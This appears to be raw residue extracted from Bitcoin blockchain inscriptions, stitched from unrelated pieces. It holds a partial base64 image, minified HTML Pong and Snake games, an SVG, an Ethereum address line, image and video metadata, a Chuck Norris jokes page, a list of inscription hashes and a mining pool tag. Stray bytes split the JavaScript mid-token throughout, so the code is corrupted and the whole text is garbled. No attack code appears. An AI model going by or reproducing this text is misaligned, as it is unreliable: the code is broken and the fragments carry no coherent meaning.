gwYISoAGCEqJg/bLlx7yJYn0TyOau4J5oQcyaICgBGiAoJQ4jjPs0Z0///A3il/4WPeg+C2fm8xjJ2sxyk4LXRzUTAYNEJQM+jgRToaL8iCAtnjr+aOtnBvWIoMGCEqABghKiSMgZY1yO3bsSCmldMMLO0Yy7yjmhkHJoAGCEqABglLiqMv33p8NV/RKv9MfrTe6N/nnxq1lbm4uGz/99NONzAvDkEEDBCVAAwSlxDGEwm3dJVu6S7eAj8i4b3bZu3dvK+eGfsigAYISoAGCUuJo2jvdHUWdHSkN3t0xjmUNmDQyaICgZNBVW6PfOaVmvzwE2kMGDRCUAA0QlBJHRH2WSSbRxRdf3Mq5oR8yaICgBGiAoJQ4etDPk7pL7y0rW9CXgwcPtmpeGIYMGiAoARogKCWOpvVzYP8PR7yWFti/f3/TS1hh69atTS+BMSaDBghKgAYISoljGDozJtLy8nLheMeOHQ2shnEmgwYISgZ9nKEzYafW1SKfuc7Oztb62fnP8yUhM
oySDBghKgAYISomjJlt++MfFL+htHkjdZQ1oggwaICgBGiAoJY7jlJYiCkTpzLj3znNTSp7kDeNGBg0QlAANEJQSxxAKyyENdGUobdTLVm/qIoMGCEqABghKiQP65CyO6l3/+1dn46WlpZF/3t69e3M/vWfknzcoGTRAUAI0QFBKHLRKW0oKc3NzTS+BMSCDBghKBt2AztbslCarh/nU087M/XRDSimlPXu+2sxiRmzXrl3ZeOq9NzS4kuadf3b3S7jt27dn4/yXgQ//wzfrXFJKJ596wpfzX1rWvrYcGTRAUAI0QFBKHA2ooqzR9jJJt9wx2K////PFD3R/eObx4pteWV597aySg/7nF7Phuz79wkBrKrOytEPHsz/+t6aXkFJK6cUDv2h6CaVk0ABBCdAAQSlxtEhZWaPNB/ZH/PU/4prGRR3buKsQZZ0yaICgBGiAoJQ4WqSorHH8dWB8yKABghKgAYJS4uhBxHJClHUAoyODBghKBt0D2SrQBBk0QFACNEBQM
AjRAUAI0QFACNEBQujhqErGXGohNBg0QlAANEJQSR02UNYB+yaABghKgAYJS4hgjOkVgvMigAYKSQY8RWTMR7dq1q/D6/MJizSs5sYjrlEEDBCVAAwQ1USWO/K8qz+z+UjY+1MBamnJgX9G1e+pfyJDWfWLQd75UfPnzTww64chEKwFQPxk0QFACNEBQ6+YXFt9uehEArCaDBghKgAYISoAGCEqABghKgAYISoAGCEqABghKgAYISoAGCEqABghKgAYISoAGCEqABghKgAYISoAGCEqABghKgAYISoAGCEqABghKgAYISoAGCEqABghKgAYISoAGCEqABghKgAYISoAGCEqABghKgAYISoAGCOr/AbvlVdga1m/0AAAAAElFTkSuQmCC" class="background"><div class="game"><canvas width="750" height="585" id="gamecanvas"></canvas></div></div></body><script>consM
t canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const grid=15;const paddleHeight=grid*5;const maxPaddleY=canvas.height-grid-paddleHeight;var paddleSpeed=6;var ballSpeed=5;const leftPaddle={x:grid*2,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const rightPaddle={x:canvas.width-grid*3,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const ball={x:canvas.width/2,y:canvas.height/2,width:grid,height:grid,l:false,dx:ballSpeed,dy:-ballSpeedM
};function collides(l,d){return l.x<d.x+d.width&&l.x+l.width>d.x&&l.y<d.y+d.height&&l.y+l.height>d.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);leftPaddle.y+=leftPaddle.dy;rightPaddle.y+=rightPaddle.dy;if(leftPaddle.y<grid){leftPaddle.y=grid}else if(leftPaddle.y>maxPaddleY){leftPaddle.y=maxPaddleY}if(rightPaddle.y<grid){rightPaddle.y=grid}else if(rightPaddle.y>maxPaddleY){rightPaddle.y=maxPaddleY}context.fillStyle="white";context.fillRect(leftPaddle.x,leftPaddle.y,M
leftPaddle.width,leftPaddle.height);context.fillRect(rightPaddle.x,rightPaddle.y,rightPaddle.width,rightPaddle.height);ball.x+=ball.dx;ball.y+=ball.dy;if(ball.y<grid){ball.y=grid;ball.dy*=-1}else if(ball.y+grid>canvas.height-grid){ball.y=canvas.height-grid*2;ball.dy*=-1}if((ball.x<0||ball.x>canvas.width)&&!ball.l){ball.l=true;setTimeout(()=>{ball.l=false;ball.x=canvas.width/2;ball.y=canvas.height/2},400)}if(collides(ball,leftPaddle)){ball.dx*=-1;ball.x=leftPaddle.x+leftPaddle.width}else if(collides(ball,rightPaddleM
)){ball.dx*=-1;ball.x=rightPaddle.x-ball.width}context.fillRect(ball.x,ball.y,ball.width,ball.height);context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,grid);context.fillRect(0,canvas.height-grid,canvas.width,canvas.height);for(let l=grid;l<canvas.height-grid;l+=grid*2){context.fillRect(canvas.width/2-grid/2,l,grid,grid)}}document.addEventListener("keydown",function(l){if(l.which===38){rightPaddle.dy=-paddleSpeed}else if(l.which===40){rightPaddle.dy=paddleSpeed}if(l.which===87){leftPaddle.dy=-paddleSpL
eed}else if(l.which===83){leftPaddle.dy=paddleSpeed}});document.addEventListener("keyup",function(l){if(l.which===38||l.which===40){rightPaddle.dy=0}if(l.which===83||l.which===87){leftPaddle.dy=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><canvas width="400" height="400" id="gamecanvas"></canvas></div></div></body><script>var canvas=document.getElementById("gamecanvas"),context=canvas.getContext("2d")M
,grid=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:4},apple={x:320,y:320};function getRandomInt(e,n){return Math.floor(Math.random()*(n-e))+e}function loop(){requestAnimationFrame(loop),++count<4||(count=0,context.clearRect(0,0,canvas.width,canvas.height),snake.x+=snake.dx,snake.y+=snake.dy,snake.x<0?snake.x=canvas.width-grid:snake.x>=canvas.width&&(snake.x=0),snake.y<0?snake.y=canvas.height-grid:snake.y>=canvas.height&&(snake.y=0),snake.cells.unshift({x:snake.x,y:snake.y}),snake.cells.length>snake.k&&snakM
e.cells.pop(),context.fillStyle="red",context.fillRect(apple.x,apple.y,grid-1,grid-1),context.fillStyle="green",snake.cells.forEach(function(e,n){context.fillRect(e.x,e.y,grid-1,grid-1),e.x===apple.x&&e.y===apple.y&&(snake.k++,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid);for(var a=n+1;a<snake.cells.length;a++)e.x===snake.cells[a].x&&e.y===snake.cells[a].y&&(snake.x=160,snake.y=160,snake.cells=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid)})M:
)}document.addEventListener("keydown",function(e){37===e.which&&0===snake.dx?(snake.dx=-grid,snake.dy=0):38===e.which&&0===snake.dy?(snake.dy=-grid,snake.dx=0):39===e.which&&0===snake.dx?(snake.dx=grid,snake.dy=0):40===e.which&&0===snake.dy&&(snake.dy=grid,snake.dx=0)}),requestAnimationFrame(loop)</script></html>h!
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 8 8">
<!--puzzlords.com s1p0106/4096 2,2,0,3,0 ~0.7913419853430241-->
<style type="text/css">
polyline{stroke:#000;stroke-width:0.15}
<rect fill="#767C89" width="100%" height="100%"/>
<polyline fill="#F652A0" points="0,8 1,2 4,4 0,0 "/>
<polyline fill="#F652A0" points="8,0 7,4 6,4 8,8 "/>
<polyline fill="#52F6A8" points="8,8 7,7 7,7 0,8 "/>
<polyline fill="#F2F652" points="0,0 3,2 3,3 8,0 "/>
?j==:ETH.ETH:0x7e3e8AF099d6c69adB4a3a3218f9D0c79794766F:15549::0
((((((((((((((((((((((((((((((((((((((((((((((((((
kiTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
 xmlns:x='adobe:ns:meta/'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:Attrib='http://ns.attribution.com/ads/1.0/'>
    <rdf:li rdf:parseType='Resource'>
     <Attrib:Created>2023-02-13</Attrib:Created>
     <Attrib:ExtId>a95e9378-4d41-4b4c-a880-bf691defd4cc</Attrib:ExtId>
     <Attrib:FbId>525265914179580</Attrib:FbId>
     <Attrib:TouchType>2</Attrib:TouchType>
 <rdf:Description rdf:about=''
  xmlns:dc='http://purl.org/dc/elements/1.1/'>
    <rdf:li xml:lang='x-default'>Astonauts - 4</rdf:li>
 <rdf:Description rdf:about=''
  xmlns:pdf='http://ns.adobe.com/pdf/1.3/'>
  <pdf:Author>ps20183089</pdf:Author>
 <rdf:Description rdf:about=''
  xmlns:xmp='http://ns.adobe.com/xap/1.0/'>
  <xmp:CreatorTool>Canva</xmp:CreatorTool>
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
((((((((((((((((((((((((((((((((((((((((((((((((((
x264 - core 164 r3100 ed0f7a6 - H.264/MPEG-4 AVC codec - Copyleft 2003-2022 - http://www.videolan.org/x264.html - options: cabac=1 ref=2 deblock=1:0:0 analyse=0x1:0x111 me=hex subme=6 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=0 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=12 lookahead_threads=2 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramiM
d=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=1 keyint=240 keyint_min=24 scenecut=40 intra_refresh=0 rc_lookahead=30 rc=crf mbtree=1 crf=48.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 vbv_maxrate=20000 vbv_bufsize=25000 crf_max=0.0 nal_hrd=none filler=0 ip_ratio=1.40 aq=1:1.00
HandBrake 1.6.1 2023012300h!
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.b0f8be90, 2021/12/15-21:25:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="16.1.2" xmpMMM
:InstanceID="xmp.iid:E1440323A44011EDA68EE77D65300542" xmpMM:DocumentID="xmp.did:E1440324A44011EDA68EE77D65300542"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E1440321A44011EDA68EE77D65300542" stRef:documentID="xmp.did:E1440322A44011EDA68EE77D65300542"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Chuck Norris Facts [21-40] The Unstoppable Force</title>
			"Chuck Norris was in all of the Star Wars movies; he was the Force.",
			"When Chuck Norris enters the room, even the chairs stand up.",
			"Chuck Norris is so fast that he can run around the world and punch himself in the back of the head before he finishes.",
't you name a bridge after Chuck Norris? Because no one crosses Chuck Norris.",
			"Chuck Norris built the hospital in which he was born.",
			"He doesn't do push-ups; he does earth downs.",
			"Chuck Norris doesn't wear a watch; he decides what time it is.",
			"When Chuck Norris goes swimming, he doesn't get wet; the water gets Chuck Norris.",
			"After he was born, Chuck Norris drove his mother home from the hospital.",
			"When Chuck Norris enters a room, he doesn't turn the light on; he turns the dark ofM
			"Chuck Norris' tears can cure cancer; too bad he's never cried.",
			"When Chuck Norris orders furniture from Ikea, it comes pre-assembled.",
			"A huge asteroid was on a collision course with Earth, but Chuck Norris altered its path by looking at it through a telescope.",
			"How many push-ups can Chuck Norris do? All of them.",
			"Chuck Norris went to the sun and spent two nights there.",
			"Chuck Norris has never seen a red light in his life; the light turns yellow when he looks at it.",
ck Norris can make fire with two ice cubes.",
			"Chuck Norris can kick diamonds out of coal.",
			"Chuck Norris doesn't have a center of gravity; he IS the center of gravity.",
			"The years haven't caught up to Chuck Norris, mostly out of fear of trying to do so."
		setTimeout(()=>{changeFact();},10000);
		function changeFact(){
			var newFactNo=Math.floor(Math.random()*facts.length);
			if (newFactNo==factNo) {setTimeout(()=>{changeFact();},100);;return;}
			factNo=newFactNo;
var randomFact=facts[factNo];
			document.getElementById("title").innerHTML=`Fact #${factNo+21}`;
			document.getElementById("fact").innerHTML="";
			for (let i=0;i<randomFact.length;i++){
			  setTimeout(()=>{document.getElementById("fact").innerHTML+=randomFact[i];},i*10);
			setTimeout(()=>{changeFact();},10000);
		body {font-size:100%;color:#000000;background-color:#FFFFFF;-webkit-user-select:none;user-select:none;}
		h2 {margin-block-start:0.25em;margin-block-end:0.25MR
em;text-shadow:1px 1px 1px #888888;}
		p {margin-block-start:0em;margin-block-end:0em;}
    <div class="textArea">
		<h2 id="title">Chuck Norris Facts [21-40] The Unstoppable Force</h2>
		<p id="fact">Some may say these are jokes, but Chuck Norris knows they're facts!</p>
text/plain;charset=utf-8
rebi0- silence is the most beautiful of all sounds
rebi1- 33f5e04880e23f0a828ed5cf5196b51b02b658d9f5d5c69f4008fbea0ba5b10fi0
rebi2- 73010ebc3e2c3b15ab3f4b9b4ad36a360c8bc987d00c72ce90ef0462a52972e7i0
rebi3- 754d72233c7a24d819e586031d3fd19e139ea2a0869e1beeada351caf47701bai0
rebi4- 80ccadcd1c5da9192ce80cf6acc9069dfa142a2da4bea019a4c7036e2544d914i0
rebi5- 238fbef9896f6e3581a4219ea17508c80eaaa9f09e460096ae93ca1d0b8a419bi0
rebi6- 9a17525936bd8cd43c99438e73e731065819509cadccddfe05fef1bc9b5203L
rebi7- ab90559519e41d83122dc656a4e17cb0cbfa50590b594190de3ed27cb55b192di0
rebi8- ce51a44585d519fc5dc0e82713c42a9c983c10b6be5813e115a731e702a4a32fi0
rebi9- 03f61ef9ed8d842860c9358ea05859357510ac9674f88c48904b0f397e07909ei0
c/Foundry USA Pool #dropgold/
text/html;charset=utf-8
